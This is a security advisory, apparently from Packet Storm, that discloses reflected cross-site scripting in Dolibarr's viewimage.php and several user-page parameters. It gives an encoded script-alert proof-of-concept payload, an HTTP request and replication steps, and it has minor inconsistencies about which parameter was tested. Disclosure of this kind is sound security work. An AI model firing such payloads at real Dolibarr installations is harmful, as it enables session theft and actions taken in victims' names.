Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon

Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/viewimage.php
Affected Users: All authenticated users

Issue details: The value of the file request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2%2F0%2F1234%3cscript%3ealert%2893275%29%3c%2fscript%3e was submitted in the modulepart parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

HTTP request:
GET /dolibarr/viewimage.php?modulepart=userphoto&entity=1&file=2%2F0%2F1234%3cscript%3ealert%2893275%29%3c%2fscript%3e&cache=0 HTTP/1.0
Cookie: DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=t2h9dudaj2qm7vp2skgkhpgs94
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Referer: http://localhost/dolibarr/user/fiche.php?id=2

Affected parameter(s): file

Steps to replicate:
41. Open Dolibarr application in browser.
42. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
43. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
44. Manipulate file parameter value with payload 2%2F0%2F1234%3cscript%3ealert%2893275%29%3c%2fscript%3e
or submit http://localhost/dolibarr/viewimage.php?modulepart=userphoto&entity=1&file=2%2F0%2F1234%3cscript%3ealert%2893275%29%3c%2fscript%3e&cache=0 in address bar and see the output in browser
45. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon

Below URLs are also vulnerable with XSS.

Parameter URL
dol_use_jmobile http://localhost/dolibarr/user/index.php
dol_optimize_smallscreen http://localhost/dolibarr/user/index.php
dol_no_mouse_hover http://localhost/dolibarr/user/index.php
dol_hide_topmenu http://localhost/dolibarr/user/index.php
dol_hide_leftmenu http://localhost/dolibarr/user/index.php
dol_use_jmobile http://localhost/dolibarr/user/logout.php
dol_optimize_smallscreen http://localhost/dolibarr/user/logout.php
dol_no_mouse_hover http://localhost/dolibarr/user/logout.php
dol_hide_topmenu http://localhost/dolibarr/user/logout.php
dol_hide_leftmenu http://localhost/dolibarr/user/logout.php


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close